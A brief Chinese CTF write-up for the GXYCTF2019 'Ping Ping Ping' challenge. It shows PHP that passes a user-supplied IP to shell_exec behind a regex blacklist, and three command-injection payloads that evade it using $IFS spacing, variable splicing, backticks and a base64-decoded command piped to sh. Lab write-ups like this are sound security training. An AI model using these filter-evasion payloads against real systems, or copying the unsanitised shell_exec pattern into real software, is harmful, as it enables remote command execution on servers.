GXYCTF2019 Ping Ping Ping

linux 命令绕过技巧

/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "

";
  print_r($a);
}

?>

三中payload

(1)变量拼接

ip=127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php

(2)内联执行 就是借用反引号来达到执行命令的要求

 ip=127.0.0.1;cat$IFS$9`ls`

(3)bash或者sh

ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|sh

 

参考链接:Linux命令绕过

 

 

1

 

你可能感兴趣的:(GXYCTF2019 Ping Ping Ping)